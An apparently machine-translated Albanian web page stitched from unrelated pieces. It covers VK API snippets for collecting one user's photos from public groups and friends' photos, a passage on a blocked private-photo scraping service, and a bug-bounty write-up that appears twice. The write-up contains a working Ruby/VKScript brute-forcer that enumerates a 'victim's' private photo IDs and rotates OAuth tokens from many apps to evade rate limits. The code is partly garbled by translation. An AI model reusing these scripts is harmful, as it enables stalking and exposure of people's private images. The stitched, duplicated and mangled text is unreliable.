Shërbimi fotografik privat VKontakte. Karakteristikat e fshehura të VK.API ose kërkimi i fotografive private në VKontakte

Ka shumë faqe publike në VKontakte, të tilla si: 90-60-90, 40 KG, Vajzat sportive. Në këto faqe publike, përdoruesit postojnë foto të figurave të tyre, foto “para” dhe “pas” të dietës/sportit, etj. Numri i përgjithshëm i fotografive në albumet e këtyre grupeve ndonjëherë i kalon dhjetëra mijëra. Kur postojnë fotografi, shumë nuk mendojnë për pasojat, duke besuar naivisht se nëse e hedhin foton e tyre në mijëra të ngjashme, askush nuk do ta gjejë atë. Më poshtë prerja përshkruan procesin e kërkimit të fotografive të një përdoruesi specifik në grupe.

Formulimi i problemit

1. uid - ID e përdoruesit të VKontakte
2. gid - ID e grupit VKontakte

E nevojshme:

1. Gjeni të gjitha fotot e uid-it të përdoruesit të publikuara në grupin gid
2. Përcaktoni se në cilin album ndodhet secila foto

VKontakte API

Kontakti nuk ka një metodë për marrjen e drejtpërdrejtë të fotove të publikuara përdorues specifik në një grup të caktuar. Megjithatë, për të arritur rezultatin e dëshiruar mund të bëhet sipas skemës së mëposhtme:
1. Merrni një listë të albumeve duke përdorur metodën photos.getAlbums:

VK.api("photos.getAlbums", ( gid: gid), function(rezult)( if (result.response)( // Lista e albumeve është në grupin e rezultateve.përgjigje // ID-ja e albumit është në ndihmë field)else( / / Dështoi për të marrë listën e albumeve ) ));

2. Merrni një listë të fotografive në album (ndihma) duke përdorur metodën photos.get:

VK.api("photos.get", ( gid: gid, aid: aid), function(rezult)( if (result.response)( // Lista e fotove është në grupin e rezultateve.përgjigje // ID e pronari i fotografisë gjendet në fushën pronar_id // ID-ja e fotografisë gjendet në fushën pid )else( // Dështoi të merret lista e fotove në album) ));

3. Merrni URL-në e fotografisë duke përdorur metodën photos.getById

VK.api("photos.getById", ( foto: pids ), funksion(rezultat)( if(result.response)( for(var i=0; i

Si të shpejtoni kërkimin?

Kalimi nëpër të gjitha grupet është një proces mjaft i gjatë dhe nuk këshillohet ta kryeni atë sa herë që kërkoni një foto të një personi specifik. Për të shpejtuar kërkimin, mjafton të indeksoni të gjitha fotot duke shtuar një indeks në tabelën e brendshme.
Tabela duhet të përmbajë vetëm 3 fusha:

• uid - ID e përdoruesit
• gid - ID e grupit
• pid - ID me foto

Pas indeksimit të grupeve, thjesht ekzekutoni pyetjen

SELECT * NGA tabela WHERE uid = uid

Gjetja e fotove të miqve

Duke përdorur metodën friends.get, mund të merrni një listë miqsh dhe më pas të kërkoni në bazën e të dhënave për të marrë foto të miqve:

VK.api("friends.get", ( user_id: uid), funksion(rezultat)( if(result.response)( // Më pas, ne kërkojmë foto sipas ID-ve të miqve) ));

Lidhjet

• Faqja e internetit për kërkimin e fotove: photovk.ru
• Aplikacioni VKontakte për kërkimin e fotove:

Një koleksion i madh i fotografive private në VK (rreth 100 milion). Shërbimi mbledh fotografi të të gjithë përdoruesve të mediave sociale. rrjetet në një direktori të vetme.

Gjetja e fotografive të një përdoruesi të caktuar është e lehtë - thjesht futeni atë. Por është e vështirë të hiqet, nëse u shkruani krijuesve me e-mail, atëherë mundësia është e ulët, por nëse bëni donacione, mundësia rritet.

Si i mbledh depoja e bagëtive fotot në VK? Është shumë e thjeshtë: shërbimi automatikisht ngarkon fotot e të gjithë përdoruesve në internet në koleksion. Nuk ka rëndësi se ku e postoni foton tuaj, në një komunitet apo profil. Edhe nëse fotografia fshihet pas disa minutash, ajo tashmë do të jetë në stacionin e bagëtive.

Prandaj, shumë përdorues të pakënaqur iu drejtuan Roskomnadzor, gjë që kontribuoi në u bllokua stacioni i bagëtive në territorin e Federatës Ruse. Nuk është e mundur të anashkalohet bllokimi.

Mbledhja dhe ruajtja e të dhënave personale të përdoruesve është e ndaluar. Edhe pse vetë përdoruesit postojnë foto publikisht.

Për tani faqja nuk funksionon edhe nga serverët proxy. Pronarët e braktisën biznesin menjëherë pas bllokimit. Kështu që ju mund të flini të qetë dhe të mos keni frikë se dikush do të shikojë fotot tuaja personale.

Analogët e Skotobazës

Në vitin 2018 Kishte analoge të ndryshme, të tilla si "Burn", por të gjithë nuk funksionojnë, pasi zhvilluesit e VKontakte shkulën skriptet që ndalojnë robotët të vjedhin foto private.

Kujdes: Interneti është plot me “analoge” të një ferme bagëtish, por jo vetëm që nuk funksionojnë, por edhe shkaktojnë hakimi i llogarisë! Nëse hasni në faqe të tilla, në asnjë rrethanë mos futni të dhëna nga VKontakte. Sulmuesit do të kenë akses në llogari dhe do të jenë në gjendje.

Epoka e fermave blegtorale dhe shërbimeve të ngjashme ka përfunduar. Tani ruajtja dhe shpërndarja e fotografive intime, private është e ndaluar. Nëse nuk zbatoni ligjin, do të pasojë dënimi.

tl;dr

Një dobësi u zbulua në faqeshënuesit e VK, e cila bëri të mundur marrjen e lidhjeve të drejtpërdrejta me fotot private nga mesazhet personale dhe albumet e çdo përdoruesi/grupi. U shkrua një skript që renditej përmes fotove të përdoruesve për një periudhë të caktuar dhe më pas, përmes kësaj dobësie, merrte lidhje direkte me imazhet. Me pak fjalë, mund t'i merrni të gjitha fotot tuaja nga dje në 1 minutë, të gjitha fotot e ngarkuara javën e kaluar në 7 minuta, muajin e kaluar në 20 minuta, vitin e kaluar në 2 orë. Dobësia tani është rregulluar. Administrata VKontakte pagoi një shpërblim prej 10 mijë votash.

Historia filloi kur një imazh m'u dërgua në një mesazh personal në VKontakte. Zakonisht, nëse diçka është e rëndësishme, e ngarkoj në cloud, por në rastin tim kjo nuk ishte e nevojshme dhe vendosa të përdor funksionin e faqerojtësve VKontakte.

Shkurtimisht për këtë funksionalitet: të gjitha gjërat që përdoruesi i ka pëlqyer janë shtuar në faqerojtësit; Ekziston gjithashtu një funksion për shtimin manual të një lidhjeje te një përdorues dhe një lidhje të brendshme VKontakte. Pika e fundit më dukej shumë interesante, sepse pasi shtova një lidhje në foto, pashë pamjen paraprake dhe tekstin e saj me llojin e entitetit të shtuar:

Kur shtohet një lidhje, serveri e analizon atë, përpiqet të gjejë se cilit entitet i referohet dhe merr informacion rreth këtij objekti nga baza e të dhënave. Në mënyrë tipike, kur shkruani këtë lloj funksioni me shumë kushte, gjasat që zhvilluesi të harrojë diçka është shumë i lartë. Kështu që nuk mund të përballoja ta kaloja dhe vendosa të merrja disa minuta për të eksperimentuar pak.

Si rezultat, arrita të gjej diçka. Duke shtuar një lidhje te një foto, shënim ose video që nuk është e aksesueshme, mund të merrni pak informacion privat rreth objektit. Në rastin e fotove dhe videove, kjo është një pamje paraprake e vogël (150x150), në të cilën është mjaft e vështirë të shihet diçka; titulli u shfaq për shënime private. Me metodën API fave.getLinks Ishte e mundur të merreshin lidhje me imazhin, por përsëri madhësia ishte shumë e vogël (75px dhe 130px). Pra, në thelb, asgjë serioze.

Vendosa të shkoj në versionin celular të faqes për të kontrolluar nëse gjithçka është shfaqur atje njësoj si në versionin e rregullt. Duke parë kodin e faqes, pashë këtë:

Po! Në vlerën e atributit data-src_big kishte një lidhje të drejtpërdrejtë me imazhin origjinal!

Kështu, ishte e mundur të merrej një lidhje e drejtpërdrejtë me çdo imazh në VKontakte, pavarësisht se ku ishte ngarkuar dhe cilat cilësime të privatësisë kishte. Kjo mund të jetë një imazh nga mesazhet personale ose një foto nga albumet private të çdo përdoruesi/grupi.

Më dukej se mund të ndaloja këtu dhe t'u shkruaja zhvilluesve, por pyesja veten nëse ishte e mundur, duke shfrytëzuar këtë dobësi, të fitoja akses në të gjitha (ose të shkarkuara në një periudhë të caktuar kohore) fotot e përdoruesit. Problemi kryesor këtu, siç e kuptoni, ishte se lidhja me një foto private të formularit nuk dihet gjithmonë fotoXXXXXX_XXXXXXXXX për të shtuar në faqerojtësit tuaj. Më erdhi në mendje mendimi për të kërkuar ID-në e fotos, por për disa arsye e refuzova menjëherë si të çmendur. Kontrollova metodat e lidhura me fotot në API, shikova se si funksionon aplikacioni me albume, por nuk gjeta ndonjë rrjedhje që mund të më ndihmonte të merrja një listë me ID-të e të gjitha fotove private të përdoruesit. Isha gati të hiqja dorë nga kjo ide, por duke parë sërish lidhjen me foton, papritmas kuptova se të kaloja në det ishte një ide e mirë.

Si funksionojnë fotot në VK

Si mund ta zëvendësoni, lidhjen me foton foto52708106_359542386 përbëhet nga dy pjesë: (ID-ja e përdoruesit)_(disa numër i çuditshëm). Si formohet pjesa e dytë?

Mjerisht, pasi kalova dy orë duke eksperimentuar, unë ende nuk e kuptova këtë. Në vitin 2012, në HighLoad++, Oleg Illarionov tha disa fjalë për mënyrën se si i ruajnë fotot, për ndarjen horizontale dhe zgjedhjen e rastësishme të një serveri për ngarkim, por ky informacion nuk më dha asgjë, pasi nuk ka asnjë lidhje midis ID-së së serverit dhe ID e fotos. Është e qartë se ka një lloj numëruesi global, por ka një logjikë tjetër... Sepse nëse numri i dytë do të formohej duke përdorur një rritje automatike të zakonshme, atëherë vlerat e ID-ve me fotografi do të kishin arritur shumë kohë më parë vlera të mëdha. (për Facebook, për shembull, për momentin është ~ 700 trilion), por për Vkontakte kjo vlerë është vetëm ~ 400 milion (megjithëse, duke gjykuar nga statistikat, çdo ditë përdoruesit ngarkojnë më shumë se 30 milionë foto). ato. Është e qartë se kjo shifër nuk është unike, por në të njëjtën kohë nuk është e rastësishme. Shkrova një skenar që kaloi nëpër fotografitë e përdoruesve "të vjetër" dhe, duke përdorur të dhënat e marra, bëra një grafik se sa ndryshonte kjo shifër me secilën vit:

Mund të shihet se vlerat luhaten në varësi të disa faktorëve (numri i serverëve apo logjika e re?). Por çështja është se ato janë mjaft të vogla (sidomos në 2-3 vitet e fundit) dhe është shumë e lehtë të llogaritet diapazoni i id për periudhën kohore të dëshiruar. Kjo do të thotë, për të gjetur lidhje të drejtpërdrejta me fotot e një përdoruesi, të themi, nga viti i kaluar, duhet të përpiqeni të shënoni vetëm 30 milionë (nga _320000000 në _350000000) variacione të ndryshme lidhjesh! Më poshtë kam përshkruar një teknikë të forcës brutale që më lejoi ta bëja këtë në pak minuta.

Duke kaluar nëpër foto

Ju mund t'i shtoni të gjitha këto manualisht përmes ndërfaqes ose të shkruani një skript që shton një lidhje te faqeshënuesit, por kjo do të ishte e mërzitshme dhe do të kërkonte kohë. Shpejtësia e kërkimit në këtë rast do të ishte 3 faqerojtës në sekondë, sepse dërgoni më shumë se tre kërkesa në sekondë në serverin Vkontakte është e ndaluar.

Përshpejtoni kërkimin x25

Për të kapërcyer të paktën pak kufirin e 3 kërkesave, vendosa të përdor metodën ekzekutuar. Në një thirrje në këtë metodë, janë të mundshme 25 thirrje në metodat API.

Var start = parseInt(Args.start); var fund = parseInt(Args.end); var viktimaId = Args.id; var link = "http://vk.com/photo" + viktima ID + "_"; while(start != fund) (API.fave.addLink(( "link": link + start )); start = start + 1; );
Kështu, ne arritëm të rrisim shpejtësinë e forcës brutale në 3*25 faqeshënues/sek. Gjatë vitit të kaluar, do të duhej shumë kohë për të renditur fotografitë, por për periudha të shkurtra kjo metodë klasifikimi ishte tashmë mjaft e mirë.

Ne përshpejtojmë kërkimin x25 * numrin e kërkesave paralele për sekondë

Kufiri i numrit të kërkesave/seks vlen për secilin aplikacion veç e veç, dhe jo për të gjithë përdoruesin. Pra, asgjë nuk ju pengon të dërgoni shumë kërkesa paralelisht, por në të njëjtën kohë të përdorni token nga aplikacione të ndryshme.

Së pari na duhej të gjenim (ose krijonim) numrin e kërkuar të aplikacioneve. Është shkruar një skript që kërkon aplikacione të pavarura në një gamë të caktuar identifikuesish aplikacioni:

Klasa StandaloneAppsFinder attr_reader:app_ids def inicialize(params) @range = parametrat[:in_range] @app_ids = fundi i kërkimit def (@range).secili do |app_id| përgjigje = hap ("https://api.vk.com/method/apps.get?app_id=#(app_id)").lexo aplikacionin = JSON.parse(përgjigje)["përgjigje"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Gjithashtu ishte e mundur të zgjidheshin aplikacionet sipas numrit të përdoruesve për të shpejtuar më tej kërkimin:

Por vendosa të mos shqetësohem me të.

Ok, aplikacionet janë gjetur, tani ata duhet të japin leje për të dhënat e përdoruesve tanë dhe të marrin token. Për autorizim na është dashur të përdorim mekanizmin Implicit Flow. Më duhej të analizoja URL-në e autorizimit nga dialogu OAuth dhe të tërhiqja shenjën pas ridrejtimit. Kjo klasë kërkon cookie për të funksionuar. p,l(login.vk.com) dhe remixsid(vk.com):

Vërtetuesi i klasës attr_reader:access_tokens def inicialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = mbyll def autorize_apps(aplikacionet) aplikacionet.secili do |app_id| auth_url = ekstrakt_auth_url_from(oauth_page(app_id)) redirect_url = hapur(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Numri i aplikacioneve të gjetura është i barabartë me numrin e kërkesave paralele. Për të paralelizuar të gjithë këtë gjë, u vendos të përdorej perlë e Typhoeus, e cila e ka provuar veten në detyra të tjera. Rezultati është një forcë e vogël brute si kjo:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "sot" => 366300000..366500000, "dje" => 366050000..366300000, "current_muaj" => 360.000.00. 000000 0..365000000, "viti_aktual" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def inicialize(params) @victim_id = parametrat[:victim_id] @period = PHOTOS_ID_BY_PERIOD:BY_PERIOD:Hydratokens] fundi Iterator = 0 (@period).hapi (25) bëj |foto_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == argumentet.numërimi - 1 ? 0: tokensIterator + 1 hydra.radhë Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? përfundon hydra.run përveç nëse hydra.queued_requests.count.zero? përfundo def vkscript private (foto_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Për të përshpejtuar edhe më shumë forcën brutale, u bë një përpjekje për të hequr qafe trupin e panevojshëm në përgjigje, por KOKË Kërkesa e serverit VKontakte kthen një gabim 501 Nuk është zbatuar.

Versioni përfundimtar i skenarit duket si ky:

Kërkon "nokogiri" të kërkojë "open-uri" të kërkojë "typhoeus" të kërkojë "json" të kërkojë "./standalone_apps_finder" të kërkojë "./photos_bruteforcer" të kërkojë "./authenticator" bruteforcer = PhotosBruteforcer.new(viktim_id: ARGV, periudha: ARGV) apps_finder = StandaloneAppsFinder.new(në_rangun: 4800000..4800500) apps_finder.search # p,l - kuki nga login.vk.com # remixsid - cookie nga vk.com authenticator = Authenticator.new;" +l=; =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Pas ekzekutimit të programit, faqeshënuesit përmbanin të gjitha fotot e përdoruesit për një periudhë të caktuar. E tëra që mbeti ishte të shkoni në versionin celular të VKontakte, të hapni tastierën e shfletuesit, të nxirrni lidhje direkte dhe të shijoni fotot në madhësinë e tyre origjinale.

Rezultatet

Në përgjithësi, gjithçka varet nga lidhja juaj në internet dhe shpejtësia e serverëve proxy, vonesa e serverëve Vkontakte, fuqia e procesorit dhe shumë faktorë të tjerë. Pasi provova skenarin e mësipërm në llogarinë time, mora numrat e mëposhtëm (pa marrë parasysh kohën e kaluar për marrjen e argumenteve):

Tabela tregon kohën mesatare të nevojshme për të provuar ID-të e fotografive gjatë një periudhe të caktuar. Jam i sigurt që e gjithë kjo mund të ishte përshpejtuar 10-20 herë. Për shembull, në një skenar brute force, bëni një radhë të madhe të të gjitha kërkesave dhe sinkronizim normal ndërmjet tyre, sepse në zbatimin tim, një kërkesë me afat do të ngadalësojë të gjithë procesin. Dhe në përgjithësi, mund të blini vetëm disa raste në EC2 dhe të merrni të gjitha fotot e çdo përdoruesi brenda një ore. Por unë tashmë doja të flija.

Dhe në përgjithësi, nuk ka rëndësi se sa kohë shpenzon sulmuesi për këtë, 5 orë ose tërë ditën, sepse në një mënyrë ose në një tjetër ai do të marrë lidhje me imazhe private. Aftësia për të fituar akses të sigurt në informacionin privat në një kohë të kufizuar është kërcënimi kryesor që vjen nga kjo dobësi.

Raportimi i një cenueshmërie

Në fillim raporti iu dërgua shërbimit mbështetës, por pas një përgjigje si "faleminderit, ndoshta do ta rregullojmë disi..." dhe një javë pritjeje, u ndjeva disi i trishtuar. Faleminderit shumë për ndihmën për të kontaktuar drejtpërdrejt zhvilluesit. Pas kësaj, gabimet u mbyllën brenda pak orësh, dhe disa ditë më vonë administrata transferoi një shpërblim në shumën prej 10 mijë në llogarinë time

tl;dr

Një dobësi u zbulua në faqeshënuesit e VK, e cila bëri të mundur marrjen e lidhjeve të drejtpërdrejta me fotot private nga mesazhet personale dhe albumet e çdo përdoruesi/grupi. U shkrua një skript që renditej përmes fotove të përdoruesve për një periudhë të caktuar dhe më pas, përmes kësaj dobësie, merrte lidhje direkte me imazhet. Me pak fjalë, mund t'i merrni të gjitha fotot tuaja nga dje në 1 minutë, të gjitha fotot e ngarkuara javën e kaluar në 7 minuta, muajin e kaluar në 20 minuta, vitin e kaluar në 2 orë. Dobësia tani është rregulluar. Administrata VKontakte pagoi një shpërblim prej 10 mijë votash.

Historia filloi kur një imazh m'u dërgua në një mesazh personal në VKontakte. Zakonisht, nëse diçka është e rëndësishme, e ngarkoj në cloud, por në rastin tim kjo nuk ishte e nevojshme dhe vendosa të përdor funksionin e faqerojtësve VKontakte.

Shkurtimisht për këtë funksionalitet: të gjitha gjërat që përdoruesi i ka pëlqyer janë shtuar në faqerojtësit; Ekziston gjithashtu një funksion për shtimin manual të një lidhjeje te një përdorues dhe një lidhje të brendshme VKontakte. Pika e fundit më dukej shumë interesante, sepse pasi shtova një lidhje në foto, pashë pamjen paraprake dhe tekstin e saj me llojin e entitetit të shtuar:

Kur shtohet një lidhje, serveri e analizon atë, përpiqet të gjejë se cilit entitet i referohet dhe merr informacion rreth këtij objekti nga baza e të dhënave. Në mënyrë tipike, kur shkruani këtë lloj funksioni me shumë kushte, gjasat që zhvilluesi të harrojë diçka është shumë i lartë. Kështu që nuk mund të përballoja ta kaloja dhe vendosa të merrja disa minuta për të eksperimentuar pak.

Si rezultat, arrita të gjej diçka. Duke shtuar një lidhje te një foto, shënim ose video që nuk është e aksesueshme, mund të merrni pak informacion privat rreth objektit. Në rastin e fotove dhe videove, kjo është një pamje paraprake e vogël (150x150), në të cilën është mjaft e vështirë të shihet diçka; titulli u shfaq për shënime private. Me metodën API fave.getLinks Ishte e mundur të merreshin lidhje me imazhin, por përsëri madhësia ishte shumë e vogël (75px dhe 130px). Pra, në thelb, asgjë serioze.

Vendosa të shkoj në versionin celular të faqes për të kontrolluar nëse gjithçka është shfaqur atje njësoj si në versionin e rregullt. Duke parë kodin e faqes, pashë këtë:

Po! Në vlerën e atributit data-src_big kishte një lidhje të drejtpërdrejtë me imazhin origjinal!

Kështu, ishte e mundur të merrej një lidhje e drejtpërdrejtë me çdo imazh në VKontakte, pavarësisht se ku ishte ngarkuar dhe cilat cilësime të privatësisë kishte. Kjo mund të jetë një imazh nga mesazhet personale ose një foto nga albumet private të çdo përdoruesi/grupi.

Më dukej se mund të ndaloja këtu dhe t'u shkruaja zhvilluesve, por pyesja veten nëse ishte e mundur, duke shfrytëzuar këtë dobësi, të fitoja akses në të gjitha (ose të shkarkuara në një periudhë të caktuar kohore) fotot e përdoruesit. Problemi kryesor këtu, siç e kuptoni, ishte se lidhja me një foto private të formularit nuk dihet gjithmonë fotoXXXXXX_XXXXXXXXX për të shtuar në faqerojtësit tuaj. Më erdhi në mendje mendimi për të kërkuar ID-në e fotos, por për disa arsye e refuzova menjëherë si të çmendur. Kontrollova metodat e lidhura me fotot në API, shikova se si funksionon aplikacioni me albume, por nuk gjeta ndonjë rrjedhje që mund të më ndihmonte të merrja një listë me ID-të e të gjitha fotove private të përdoruesit. Isha gati të hiqja dorë nga kjo ide, por duke parë sërish lidhjen me foton, papritmas kuptova se të kaloja në det ishte një ide e mirë.

Si funksionojnë fotot në VK

Si mund ta zëvendësoni, lidhjen me foton foto52708106_359542386 përbëhet nga dy pjesë: (ID-ja e përdoruesit)_(disa numër i çuditshëm). Si formohet pjesa e dytë?

Mjerisht, pasi kalova dy orë duke eksperimentuar, unë ende nuk e kuptova këtë. Në vitin 2012, në HighLoad++, Oleg Illarionov tha disa fjalë për mënyrën se si i ruajnë fotot, për ndarjen horizontale dhe zgjedhjen e rastësishme të një serveri për ngarkim, por ky informacion nuk më dha asgjë, pasi nuk ka asnjë lidhje midis ID-së së serverit dhe ID e fotos. Është e qartë se ka një lloj numëruesi global, por ka një logjikë tjetër... Sepse nëse numri i dytë do të formohej duke përdorur një rritje automatike të zakonshme, atëherë vlerat e ID-ve me fotografi do të kishin arritur shumë kohë më parë vlera të mëdha. (për Facebook, për shembull, për momentin është ~ 700 trilion), por për Vkontakte kjo vlerë është vetëm ~ 400 milion (megjithëse, duke gjykuar nga statistikat, çdo ditë përdoruesit ngarkojnë më shumë se 30 milionë foto). ato. Është e qartë se kjo shifër nuk është unike, por në të njëjtën kohë nuk është e rastësishme. Shkrova një skenar që kaloi nëpër fotografitë e përdoruesve "të vjetër" dhe, duke përdorur të dhënat e marra, bëra një grafik se sa ndryshonte kjo shifër me secilën vit:

Mund të shihet se vlerat luhaten në varësi të disa faktorëve (numri i serverëve apo logjika e re?). Por çështja është se ato janë mjaft të vogla (sidomos në 2-3 vitet e fundit) dhe është shumë e lehtë të llogaritet diapazoni i id për periudhën kohore të dëshiruar. Kjo do të thotë, për të gjetur lidhje të drejtpërdrejta me fotot e një përdoruesi, të themi, nga viti i kaluar, duhet të përpiqeni të shënoni vetëm 30 milionë (nga _320000000 në _350000000) variacione të ndryshme lidhjesh! Më poshtë kam përshkruar një teknikë të forcës brutale që më lejoi ta bëja këtë në pak minuta.

Duke kaluar nëpër foto

Ju mund t'i shtoni të gjitha këto manualisht përmes ndërfaqes ose të shkruani një skript që shton një lidhje te faqeshënuesit, por kjo do të ishte e mërzitshme dhe do të kërkonte kohë. Shpejtësia e kërkimit në këtë rast do të ishte 3 faqerojtës në sekondë, sepse dërgoni më shumë se tre kërkesa në sekondë në serverin Vkontakte është e ndaluar.

Përshpejtoni kërkimin x25

Për të kapërcyer të paktën pak kufirin e 3 kërkesave, vendosa të përdor metodën ekzekutuar. Në një thirrje në këtë metodë, janë të mundshme 25 thirrje në metodat API.

Var start = parseInt(Args.start); var fund = parseInt(Args.end); var viktimaId = Args.id; var link = "http://vk.com/photo" + viktima ID + "_"; while(start != fund) (API.fave.addLink(( "link": link + start )); start = start + 1; );
Kështu, ne arritëm të rrisim shpejtësinë e forcës brutale në 3*25 faqeshënues/sek. Gjatë vitit të kaluar, do të duhej shumë kohë për të renditur fotografitë, por për periudha të shkurtra kjo metodë klasifikimi ishte tashmë mjaft e mirë.

Ne përshpejtojmë kërkimin x25 * numrin e kërkesave paralele për sekondë

Kufiri i numrit të kërkesave/seks vlen për secilin aplikacion veç e veç, dhe jo për të gjithë përdoruesin. Pra, asgjë nuk ju pengon të dërgoni shumë kërkesa paralelisht, por në të njëjtën kohë të përdorni token nga aplikacione të ndryshme.

Së pari na duhej të gjenim (ose krijonim) numrin e kërkuar të aplikacioneve. Është shkruar një skript që kërkon aplikacione të pavarura në një gamë të caktuar identifikuesish aplikacioni:

Klasa StandaloneAppsFinder attr_reader:app_ids def inicialize(params) @range = parametrat[:in_range] @app_ids = fundi i kërkimit def (@range).secili do |app_id| përgjigje = hap ("https://api.vk.com/method/apps.get?app_id=#(app_id)").lexo aplikacionin = JSON.parse(përgjigje)["përgjigje"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Gjithashtu ishte e mundur të zgjidheshin aplikacionet sipas numrit të përdoruesve për të shpejtuar më tej kërkimin:

Por vendosa të mos shqetësohem me të.

Ok, aplikacionet janë gjetur, tani ata duhet të japin leje për të dhënat e përdoruesve tanë dhe të marrin token. Për autorizim na është dashur të përdorim mekanizmin Implicit Flow. Më duhej të analizoja URL-në e autorizimit nga dialogu OAuth dhe të tërhiqja shenjën pas ridrejtimit. Kjo klasë kërkon cookie për të funksionuar. p,l(login.vk.com) dhe remixsid(vk.com):

Vërtetuesi i klasës attr_reader:access_tokens def inicialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = mbyll def autorize_apps(aplikacionet) aplikacionet.secili do |app_id| auth_url = ekstrakt_auth_url_from(oauth_page(app_id)) redirect_url = hapur(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Numri i aplikacioneve të gjetura është i barabartë me numrin e kërkesave paralele. Për të paralelizuar të gjithë këtë gjë, u vendos të përdorej perlë e Typhoeus, e cila e ka provuar veten në detyra të tjera. Rezultati është një forcë e vogël brute si kjo:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "sot" => 366300000..366500000, "dje" => 366050000..366300000, "current_muaj" => 360.000.00. 000000 0..365000000, "viti_aktual" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def inicialize(params) @victim_id = parametrat[:victim_id] @period = PHOTOS_ID_BY_PERIOD:BY_PERIOD:Hydratokens] fundi Iterator = 0 (@period).hapi (25) bëj |foto_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == argumentet.numërimi - 1 ? 0: tokensIterator + 1 hydra.radhë Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? përfundon hydra.run përveç nëse hydra.queued_requests.count.zero? përfundo def vkscript private (foto_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Për të përshpejtuar edhe më shumë forcën brutale, u bë një përpjekje për të hequr qafe trupin e panevojshëm në përgjigje, por KOKË Kërkesa e serverit VKontakte kthen një gabim 501 Nuk është zbatuar.

Versioni përfundimtar i skenarit duket si ky:

Kërkon "nokogiri" të kërkojë "open-uri" të kërkojë "typhoeus" të kërkojë "json" të kërkojë "./standalone_apps_finder" të kërkojë "./photos_bruteforcer" të kërkojë "./authenticator" bruteforcer = PhotosBruteforcer.new(viktim_id: ARGV, periudha: ARGV) apps_finder = StandaloneAppsFinder.new(në_rangun: 4800000..4800500) apps_finder.search # p,l - kuki nga login.vk.com # remixsid - cookie nga vk.com authenticator = Authenticator.new;" +l=; =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Pas ekzekutimit të programit, faqeshënuesit përmbanin të gjitha fotot e përdoruesit për një periudhë të caktuar. E tëra që mbeti ishte të shkoni në versionin celular të VKontakte, të hapni tastierën e shfletuesit, të nxirrni lidhje direkte dhe të shijoni fotot në madhësinë e tyre origjinale.

Rezultatet

Në përgjithësi, gjithçka varet nga lidhja juaj në internet dhe shpejtësia e serverëve proxy, vonesa e serverëve Vkontakte, fuqia e procesorit dhe shumë faktorë të tjerë. Pasi provova skenarin e mësipërm në llogarinë time, mora numrat e mëposhtëm (pa marrë parasysh kohën e kaluar për marrjen e argumenteve):

Tabela tregon kohën mesatare të nevojshme për të provuar ID-të e fotografive gjatë një periudhe të caktuar. Jam i sigurt që e gjithë kjo mund të ishte përshpejtuar 10-20 herë. Për shembull, në një skenar brute force, bëni një radhë të madhe të të gjitha kërkesave dhe sinkronizim normal ndërmjet tyre, sepse në zbatimin tim, një kërkesë me afat do të ngadalësojë të gjithë procesin. Dhe në përgjithësi, mund të blini vetëm disa raste në EC2 dhe të merrni të gjitha fotot e çdo përdoruesi brenda një ore. Por unë tashmë doja të flija.

Dhe në përgjithësi, nuk ka rëndësi se sa kohë shpenzon sulmuesi për këtë, 5 orë ose tërë ditën, sepse në një mënyrë ose në një tjetër ai do të marrë lidhje me imazhe private. Aftësia për të fituar akses të sigurt në informacionin privat në një kohë të kufizuar është kërcënimi kryesor që vjen nga kjo dobësi.

Raportimi i një cenueshmërie

Në fillim raporti iu dërgua shërbimit mbështetës, por pas një përgjigje si "faleminderit, ndoshta do ta rregullojmë disi..." dhe një javë pritjeje, u ndjeva disi i trishtuar. Shumë faleminderit për Bo0oM, i cili ndihmoi të kontaktojë drejtpërdrejt zhvilluesit. Pas kësaj, gabimet u mbyllën brenda pak orësh, dhe disa ditë më vonë administrata transferoi një shpërblim në shumën prej 10 mijë në llogarinë time